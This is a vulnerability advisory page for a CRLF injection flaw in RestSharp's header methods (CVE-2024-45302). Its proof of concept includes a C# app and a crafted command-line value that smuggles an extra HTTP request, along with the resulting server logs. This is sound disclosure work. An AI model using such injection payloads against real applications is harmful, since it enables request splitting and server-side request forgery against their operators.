Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS00cnI2LTJ2OXYtd2NwY84AA_CY
CRLF Injection in RestSharp's `RestRequest.AddHeader` method
Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
Permalink: https://github.com/advisories/GHSA-4rr6-2v9v-wcpcJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cnI2LTJ2OXYtd2NwY84AA_CY
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 20 days ago
Updated: 19 days ago
CVSS Score: 6.1
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H
Identifiers: GHSA-4rr6-2v9v-wcpc, CVE-2024-45302
References:
- https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc
- https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b
- https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://github.com/advisories/GHSA-4rr6-2v9v-wcpc
Blast Radius: 9.6
Affected Packages
nuget:RestSharp
Dependent packages: 2,350Dependent repositories: 37
Downloads: 334,088,642 total
Affected Version Ranges: >= 107.0.0-preview.1, < 112.0.0
Fixed in: 112.0.0
All affected versions: 107.0.0, 107.0.1, 107.0.2, 107.0.3, 107.1.0, 107.1.1, 107.1.2, 107.2.0, 107.2.1, 107.3.0, 108.0.0, 108.0.1, 108.0.2, 108.0.3, 108.0.4, 109.0.0, 109.0.1, 110.0.0, 110.1.0, 110.2.0, 111.0.0, 111.1.0, 111.2.0, 111.3.0, 111.4.0, 111.4.1
All unaffected versions: 1.0.0, 100.3.0, 101.0.0, 101.1.0, 101.2.0, 101.3.0, 102.0.0, 102.1.0, 102.2.0, 102.3.0, 102.4.0, 102.5.0, 102.6.0, 102.7.0, 103.0.0, 103.1.0, 103.2.0, 103.3.0, 103.4.0, 104.0.0, 104.1.0, 104.2.0, 104.3.3, 104.4.0, 104.5.0, 105.0.0, 105.0.1, 105.1.0, 105.2.0, 105.2.1, 105.2.2, 105.2.3, 106.0.0, 106.0.1, 106.1.0, 106.2.0, 106.2.1, 106.2.2, 106.3.0, 106.3.1, 106.4.0, 106.4.1, 106.4.2, 106.5.0, 106.5.1, 106.5.2, 106.5.3, 106.5.4, 106.6.0, 106.6.1, 106.6.2, 106.6.3, 106.6.4, 106.6.5, 106.6.6, 106.6.7, 106.6.8, 106.6.9, 106.6.10, 106.8.0, 106.9.0, 106.10.0, 106.10.1, 106.11.0, 106.11.1, 106.11.2, 106.11.3, 106.11.4, 106.11.5, 106.11.6, 106.11.7, 106.12.0, 106.13.0, 106.15.0, 112.0.0